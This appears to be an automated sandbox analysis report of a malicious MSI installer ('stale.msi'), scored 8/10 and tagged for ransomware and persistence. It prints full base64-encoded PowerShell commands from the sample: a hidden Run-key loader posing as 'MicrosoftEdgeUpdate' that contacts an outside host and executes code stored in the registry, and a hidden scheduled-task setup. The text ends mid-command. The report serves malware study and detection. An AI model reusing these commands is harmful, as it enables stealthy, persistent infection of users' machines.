b1287ab346d488cf587ff52932119e02113403b9b9a7231e5c95fa0143de1a39

Analysis

max time kernel
148s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/07/2026, 18:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
stale.msi
Size 60KB
Sample260719-wxcvksbs8s
SHA256 b1287ab346d488cf587ff52932119e02113403b9b9a7231e5c95fa0143de1a39
MD5 d0cec1850a2d55308369f58291d1f362
SHA1 7ba2ce48b3f4c2d9745f74e6ac60208d92f0332b
SHA512 89d0e82d27552c50730d9a4a3d73f8a850f7b0f158ca3bc36b5875adcba2da10f849af14bc731d182eaf40438c74954945998d7dd23cc7d40a6aad376d9fc540
SSDEEP 1536:xHNGxoDRx3280h8ZAOc5ROeqNKHASY80h:pgROdKHAS
TLSH
T1C753313AD630FCD0C75D327086662D9A21986D56C7B34D64DB093DFE3D32B81EB29688
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence privilege_escalation ransomware

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	2532	powershell.exe
8	2532	powershell.exe
9	2532	powershell.exe
10	5656	powershell.exe
12	5656	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5568	powershell.exe
2532	powershell.exe
5656	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate = "conhost.exe --headless powershell.exe -NoP -W Hidden -Enc JABfAGwAPQAiACQAZQBuAHYAOgBUAEUATQBQAFwAZQB1AF8AZABiAGcALgBsAG8AZwAiADsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAAUwBUAEEAUgBUACcAfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADEAMgA7ACQAaQArACsAKQB7AHQAcgB5AHsAWwBOAGUAdAAuAEQAbgBzAF0AOgA6AEcAZQB0AEgAbwBzAHQARQBuAHQAcgB5ACgAJwBzAGUAcABvAGwAaQBhAC4AZAByAHAAYwAuAG8AcgBnACcAKQA7AGIAcgBlAGEAawB9AGMAYQB0AGMAaAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADUAfQB9ADsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAATgBFAFQAIABPAEsAJwB8AE8AdQB0AC0ARgBpAGwAZQAgACQAXwBsACAALQBBAHAAcABlAG4AZAA7AHQAcgB5AHsAJABjAD0AKABnAHAAIAAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwARQBkAGcAZQBVAHAAZABhAHQAZQAnACAAYwBmAGcAIAAtAEUAQQAgADAAKQAuAGMAZgBnADsAaQBmACgAJABjACkAewAnAFsAJwArACQAKABHAGUAdAAtAEQAYQB0AGUAIAAtAEYAIAAnAEgASAA6AG0AbQA6AHMAcwAnACkAKwAnAF0AIABjAGYAZwAgAGwAZQBuADoAIAAnACsAJABjAC4ATABlAG4AZwB0AGgAfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAOwAkAHMAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGMAKQApADsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAAZABlAGMAbwBkAGUAZAAgAGwAZQBuADoAIAAnACsAJABzAC4ATABlAG4AZwB0AGgAfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAOwAuACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAKQApAH0AZQBsAHMAZQB7ACcAWwAnACsAJAAoAEcAZQB0AC0ARABhAHQAZQAgAC0ARgAgACcASABIADoAbQBtADoAcwBzACcAKQArACcAXQAgAE4ATwAgAGMAZgBnACEAJwB8AE8AdQB0AC0ARgBpAGwAZQAgACQAXwBsACAALQBBAHAAcABlAG4AZAB9AH0AYwBhAHQAYwBoAHsAJwBbACcAKwAkACgARwBlAHQALQBEAGEAdABlACAALQBGACAAJwBIAEgAOgBtAG0AOgBzAHMAJwApACsAJwBdACAARQBSAFIAOgAgACcAKwAkAF8AfABPAHUAdAAtAEYAaQBsAGUAIAAkAF8AbAAgAC0AQQBwAHAAZQBuAGQAfQA="	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\~DFADFAC05533F82BE3.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF45A74AA4CA9D837E.TMP	msiexec.exe
File created	C:\Windows\Installer\e594e45.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e594e45.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5308.tmp	msiexec.exe
File created	C:\Windows\Installer\e594e47.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF12B670F9F4E68EDC.TMP	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF11003609AA073517.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{4B8B1BC5-15D8-4091-B695-979B0076B53C}	msiexec.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
4348	msiexec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ffbf1fc65d8bbf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801ffbf1fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101ffbf1fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3ffbf1fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6ffbf1fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
720	msiexec.exe
720	msiexec.exe
5568	powershell.exe
5568	powershell.exe
5568	powershell.exe
2532	powershell.exe
2532	powershell.exe
2532	powershell.exe
5656	powershell.exe
5656	powershell.exe
5656	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4348	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4348	msiexec.exe
Token: SeSecurityPrivilege	720	msiexec.exe
Token: SeCreateTokenPrivilege	4348	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4348	msiexec.exe
Token: SeLockMemoryPrivilege	4348	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4348	msiexec.exe
Token: SeMachineAccountPrivilege	4348	msiexec.exe
Token: SeTcbPrivilege	4348	msiexec.exe
Token: SeSecurityPrivilege	4348	msiexec.exe
Token: SeTakeOwnershipPrivilege	4348	msiexec.exe
Token: SeLoadDriverPrivilege	4348	msiexec.exe
Token: SeSystemProfilePrivilege	4348	msiexec.exe
Token: SeSystemtimePrivilege	4348	msiexec.exe
Token: SeProfSingleProcessPrivilege	4348	msiexec.exe
Token: SeIncBasePriorityPrivilege	4348	msiexec.exe
Token: SeCreatePagefilePrivilege	4348	msiexec.exe
Token: SeCreatePermanentPrivilege	4348	msiexec.exe
Token: SeBackupPrivilege	4348	msiexec.exe
Token: SeRestorePrivilege	4348	msiexec.exe
Token: SeShutdownPrivilege	4348	msiexec.exe
Token: SeDebugPrivilege	4348	msiexec.exe
Token: SeAuditPrivilege	4348	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4348	msiexec.exe
Token: SeChangeNotifyPrivilege	4348	msiexec.exe
Token: SeRemoteShutdownPrivilege	4348	msiexec.exe
Token: SeUndockPrivilege	4348	msiexec.exe
Token: SeSyncAgentPrivilege	4348	msiexec.exe
Token: SeEnableDelegationPrivilege	4348	msiexec.exe
Token: SeManageVolumePrivilege	4348	msiexec.exe
Token: SeImpersonatePrivilege	4348	msiexec.exe
Token: SeCreateGlobalPrivilege	4348	msiexec.exe
Token: SeBackupPrivilege	2996	vssvc.exe
Token: SeRestorePrivilege	2996	vssvc.exe
Token: SeAuditPrivilege	2996	vssvc.exe
Token: SeBackupPrivilege	720	msiexec.exe
Token: SeRestorePrivilege	720	msiexec.exe
Token: SeRestorePrivilege	720	msiexec.exe
Token: SeTakeOwnershipPrivilege	720	msiexec.exe
Token: SeRestorePrivilege	720	msiexec.exe
Token: SeTakeOwnershipPrivilege	720	msiexec.exe
Token: SeRestorePrivilege	720	msiexec.exe
Token: SeTakeOwnershipPrivilege	720	msiexec.exe
Token: SeRestorePrivilege	720	msiexec.exe
Token: SeTakeOwnershipPrivilege	720	msiexec.exe
Token: SeRestorePrivilege	720	msiexec.exe
Token: SeTakeOwnershipPrivilege	720	msiexec.exe
Token: SeRestorePrivilege	720	msiexec.exe
Token: SeTakeOwnershipPrivilege	720	msiexec.exe
Token: SeRestorePrivilege	720	msiexec.exe
Token: SeTakeOwnershipPrivilege	720	msiexec.exe
Token: SeRestorePrivilege	720	msiexec.exe
Token: SeTakeOwnershipPrivilege	720	msiexec.exe
Token: SeRestorePrivilege	720	msiexec.exe
Token: SeTakeOwnershipPrivilege	720	msiexec.exe
Token: SeRestorePrivilege	720	msiexec.exe
Token: SeTakeOwnershipPrivilege	720	msiexec.exe
Token: SeRestorePrivilege	720	msiexec.exe
Token: SeTakeOwnershipPrivilege	720	msiexec.exe
Token: SeRestorePrivilege	720	msiexec.exe
Token: SeTakeOwnershipPrivilege	720	msiexec.exe
Token: SeRestorePrivilege	720	msiexec.exe
Token: SeTakeOwnershipPrivilege	720	msiexec.exe
Token: SeRestorePrivilege	720	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4348	msiexec.exe
4348	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4348	msiexec.exe
720	msiexec.exe
3884	MsiExec.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 720 wrote to memory of 1936	720	msiexec.exe	94
PID 720 wrote to memory of 3884	720	msiexec.exe	96
PID 3884 wrote to memory of 5568	3884	MsiExec.exe	97
PID 5692 wrote to memory of 2532	5692	conhost.exe	101
PID 3884 wrote to memory of 5656	3884	MsiExec.exe	103

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\stale.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4348

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:720
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:1936
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 06A9F5B8CAE5C0E22646415F852BFCB7
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -EP Bypass -Enc JABlAD0AJwBKAEEAQgBmAEEARwB3AEEAUABRAEEAaQBBAEMAUQBBAFoAUQBCAHUAQQBIAFkAQQBPAGcAQgBVAEEARQBVAEEAVABRAEIAUQBBAEYAdwBBAFoAUQBCADEAQQBGADgAQQBaAEEAQgBpAEEARwBjAEEATABnAEIAcwBBAEcAOABBAFoAdwBBAGkAQQBEAHMAQQBKAHcAQgBiAEEAQwBjAEEASwB3AEEAawBBAEMAZwBBAFIAdwBCAGwAQQBIAFEAQQBMAFEAQgBFAEEARwBFAEEAZABBAEIAbABBAEMAQQBBAEwAUQBCAEcAQQBDAEEAQQBKAHcAQgBJAEEARQBnAEEATwBnAEIAdABBAEcAMABBAE8AZwBCAHoAQQBIAE0AQQBKAHcAQQBwAEEAQwBzAEEASgB3AEIAZABBAEMAQQBBAFUAdwBCAFUAQQBFAEUAQQBVAGcAQgBVAEEAQwBjAEEAZgBBAEIAUABBAEgAVQBBAGQAQQBBAHQAQQBFAFkAQQBhAFEAQgBzAEEARwBVAEEASQBBAEEAawBBAEYAOABBAGIAQQBBAGcAQQBDADAAQQBRAFEAQgB3AEEASABBAEEAWgBRAEIAdQBBAEcAUQBBAE8AdwBCAG0AQQBHADgAQQBjAGcAQQBvAEEAQwBRAEEAYQBRAEEAOQBBAEQAQQBBAE8AdwBBAGsAQQBHAGsAQQBJAEEAQQB0AEEARwB3AEEAZABBAEEAZwBBAEQARQBBAE0AZwBBADcAQQBDAFEAQQBhAFEAQQByAEEAQwBzAEEASwBRAEIANwBBAEgAUQBBAGMAZwBCADUAQQBIAHMAQQBXAHcAQgBPAEEARwBVAEEAZABBAEEAdQBBAEUAUQBBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARQBjAEEAWgBRAEIAMABBAEUAZwBBAGIAdwBCAHoAQQBIAFEAQQBSAFEAQgB1AEEASABRAEEAYwBnAEIANQBBAEMAZwBBAEoAdwBCAHoAQQBHAFUAQQBjAEEAQgB2AEEARwB3AEEAYQBRAEIAaABBAEMANABBAFoAQQBCAHkAQQBIAEEAQQBZAHcAQQB1AEEARwA4AEEAYwBnAEIAbgBBAEMAYwBBAEsAUQBBADcAQQBHAEkAQQBjAGcAQgBsAEEARwBFAEEAYQB3AEIAOQBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEARgBNAEEAZABBAEIAaABBAEgASQBBAGQAQQBBAHQAQQBGAE0AQQBiAEEAQgBsAEEARwBVAEEAYwBBAEEAZwBBAEQAVQBBAGYAUQBCADkAQQBEAHMAQQBKAHcAQgBiAEEAQwBjAEEASwB3AEEAawBBAEMAZwBBAFIAdwBCAGwAQQBIAFEAQQBMAFEAQgBFAEEARwBFAEEAZABBAEIAbABBAEMAQQBBAEwAUQBCAEcAQQBDAEEAQQBKAHcAQgBJAEEARQBnAEEATwBnAEIAdABBAEcAMABBAE8AZwBCAHoAQQBIAE0AQQBKAHcAQQBwAEEAQwBzAEEASgB3AEIAZABBAEMAQQBBAFQAZwBCAEYAQQBGAFEAQQBJAEEAQgBQAEEARQBzAEEASgB3AEIAOABBAEUAOABBAGQAUQBCADAAQQBDADAAQQBSAGcAQgBwAEEARwB3AEEAWgBRAEEAZwBBAEMAUQBBAFgAdwBCAHMAQQBDAEEAQQBMAFEAQgBCAEEASABBAEEAYwBBAEIAbABBAEcANABBAFoAQQBBADcAQQBIAFEAQQBjAGcAQgA1AEEASABzAEEASgBBAEIAagBBAEQAMABBAEsAQQBCAG4AQQBIAEEAQQBJAEEAQQBuAEEARQBnAEEAUwB3AEIARABBAEYAVQBBAE8AZwBCAGMAQQBGAE0AQQBiAHcAQgBtAEEASABRAEEAZAB3AEIAaABBAEgASQBBAFoAUQBCAGMAQQBFADAAQQBhAFEAQgBqAEEASABJAEEAYgB3AEIAegBBAEcAOABBAFoAZwBCADAAQQBGAHcAQQBSAFEAQgBrAEEARwBjAEEAWgBRAEIAVgBBAEgAQQBBAFoAQQBCAGgAQQBIAFEAQQBaAFEAQQBuAEEAQwBBAEEAWQB3AEIAbQBBAEcAYwBBAEkAQQBBAHQAQQBFAFUAQQBRAFEAQQBnAEEARABBAEEASwBRAEEAdQBBAEcATQBBAFoAZwBCAG4AQQBEAHMAQQBhAFEAQgBtAEEAQwBnAEEASgBBAEIAagBBAEMAawBBAGUAdwBBAG4AQQBGAHMAQQBKAHcAQQByAEEAQwBRAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBFAFEAQQBZAFEAQgAwAEEARwBVAEEASQBBAEEAdABBAEUAWQBBAEkAQQBBAG4AQQBFAGcAQQBTAEEAQQA2AEEARwAwAEEAYgBRAEEANgBBAEgATQBBAGMAdwBBAG4AQQBDAGsAQQBLAHcAQQBuAEEARgAwAEEASQBBAEIAagBBAEcAWQBBAFoAdwBBAGcAQQBHAHcAQQBaAFEAQgB1AEEARABvAEEASQBBAEEAbgBBAEMAcwBBAEoAQQBCAGoAQQBDADQAQQBUAEEAQgBsAEEARwA0AEEAWgB3AEIAMABBAEcAZwBBAGYAQQBCAFAAQQBIAFUAQQBkAEEAQQB0AEEARQBZAEEAYQBRAEIAcwBBAEcAVQBBAEkAQQBBAGsAQQBGADgAQQBiAEEAQQBnAEEAQwAwAEEAUQBRAEIAdwBBAEgAQQBBAFoAUQBCAHUAQQBHAFEAQQBPAHcAQQBrAEEASABNAEEAUABRAEIAYgBBAEYAUQBBAFoAUQBCADQAQQBIAFEAQQBMAGcAQgBGAEEARwA0AEEAWQB3AEIAdgBBAEcAUQBBAGEAUQBCAHUAQQBHAGMAQQBYAFEAQQA2AEEARABvAEEAVgBRAEIAdQBBAEcAawBBAFkAdwBCAHYAQQBHAFEAQQBaAFEAQQB1AEEARQBjAEEAWgBRAEIAMABBAEYATQBBAGQAQQBCAHkAQQBHAGsAQQBiAGcAQgBuAEEAQwBnAEEAVwB3AEIARABBAEcAOABBAGIAZwBCADIAQQBHAFUAQQBjAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAWQBBAGMAZwBCAHYAQQBHADAAQQBRAGcAQgBoAEEASABNAEEAWgBRAEEAMgBBAEQAUQBBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEASwBBAEEAawBBAEcATQBBAEsAUQBBAHAAQQBEAHMAQQBKAHcAQgBiAEEAQwBjAEEASwB3AEEAawBBAEMAZwBBAFIAdwBCAGwAQQBIAFEAQQBMAFEAQgBFAEEARwBFAEEAZABBAEIAbABBAEMAQQBBAEwAUQBCAEcAQQBDAEEAQQBKAHcAQgBJAEEARQBnAEEATwBnAEIAdABBAEcAMABBAE8AZwBCAHoAQQBIAE0AQQBKAHcAQQBwAEEAQwBzAEEASgB3AEIAZABBAEMAQQBBAFoAQQBCAGwAQQBHAE0AQQBiAHcAQgBrAEEARwBVAEEAWgBBAEEAZwBBAEcAdwBBAFoAUQBCAHUAQQBEAG8AQQBJAEEAQQBuAEEAQwBzAEEASgBBAEIAegBBAEMANABBAFQAQQBCAGwAQQBHADQAQQBaAHcAQgAwAEEARwBnAEEAZgBBAEIAUABBAEgAVQBBAGQAQQBBAHQAQQBFAFkAQQBhAFEAQgBzAEEARwBVAEEASQBBAEEAawBBAEYAOABBAGIAQQBBAGcAQQBDADAAQQBRAFEAQgB3AEEASABBAEEAWgBRAEIAdQBBAEcAUQBBAE8AdwBBAHUAQQBDAGcAQQBXAHcAQgB6AEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAGkAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAEsAUQBBAHAAQQBIADAAQQBaAFEAQgBzAEEASABNAEEAWgBRAEIANwBBAEMAYwBBAFcAdwBBAG4AQQBDAHMAQQBKAEEAQQBvAEEARQBjAEEAWgBRAEIAMABBAEMAMABBAFIAQQBCAGgAQQBIAFEAQQBaAFEAQQBnAEEAQwAwAEEAUgBnAEEAZwBBAEMAYwBBAFMAQQBCAEkAQQBEAG8AQQBiAFEAQgB0AEEARABvAEEAYwB3AEIAegBBAEMAYwBBAEsAUQBBAHIAQQBDAGMAQQBYAFEAQQBnAEEARQA0AEEAVAB3AEEAZwBBAEcATQBBAFoAZwBCAG4AQQBDAEUAQQBKAHcAQgA4AEEARQA4AEEAZABRAEIAMABBAEMAMABBAFIAZwBCAHAAQQBHAHcAQQBaAFEAQQBnAEEAQwBRAEEAWAB3AEIAcwBBAEMAQQBBAEwAUQBCAEIAQQBIAEEAQQBjAEEAQgBsAEEARwA0AEEAWgBBAEIAOQBBAEgAMABBAFkAdwBCAGgAQQBIAFEAQQBZAHcAQgBvAEEASABzAEEASgB3AEIAYgBBAEMAYwBBAEsAdwBBAGsAQQBDAGcAQQBSAHcAQgBsAEEASABRAEEATABRAEIARQBBAEcARQBBAGQAQQBCAGwAQQBDAEEAQQBMAFEAQgBHAEEAQwBBAEEASgB3AEIASQBBAEUAZwBBAE8AZwBCAHQAQQBHADAAQQBPAGcAQgB6AEEASABNAEEASgB3AEEAcABBAEMAcwBBAEoAdwBCAGQAQQBDAEEAQQBSAFEAQgBTAEEARgBJAEEATwBnAEEAZwBBAEMAYwBBAEsAdwBBAGsAQQBGADgAQQBmAEEAQgBQAEEASABVAEEAZABBAEEAdABBAEUAWQBBAGEAUQBCAHMAQQBHAFUAQQBJAEEAQQBrAEEARgA4AEEAYgBBAEEAZwBBAEMAMABBAFEAUQBCAHcAQQBIAEEAQQBaAFEAQgB1AEEARwBRAEEAZgBRAEEAPQAnADsAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAYwBvAG4AaABvAHMAdAAuAGUAeABlACcAIAAtAEEAcgBnAHUAbQBlAG4AdAAgACgAJwAtAC0AaABlAGEAZABsAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBQACAALQBXACAASABpAGQAZABlAG4AIAAtAEUAbgBjACAAJwArACQAZQApADsAJAB0ADEAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ATwBuAGMAZQAgAC0AQQB0ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAxADAAKQAgAC0AUgBlAHAAZQB0AGkAdABpAG8AbgBJAG4AdABlAHIAdgBhAGwAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBNAGkAbgB1AHQAZQBzACAAMQAwACkAOwAkAHQAMgA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuADsAJAB0AD0AQAAoACQAdAAxACwAJAB0ADIAKQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEgAaQBkAGQAZQBuACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0AUwB0AGEAcgB0AFcAaABlAG4AQQB2AGEAaQBsAGEAYgBsAGUAOwB0AHIAeQB7AFUAbgByAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAEUAeABwAGUAcgBpAGUAbgBjAGUAJwAgAC0AQwBvAG4AZgBpAHIAbQA6ACQAZgBhAGwAcwBlACAALQBFAEEAIABTAHQAbwBwAH0AYwBhAHQAYwBoAHsAfQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUARQB4A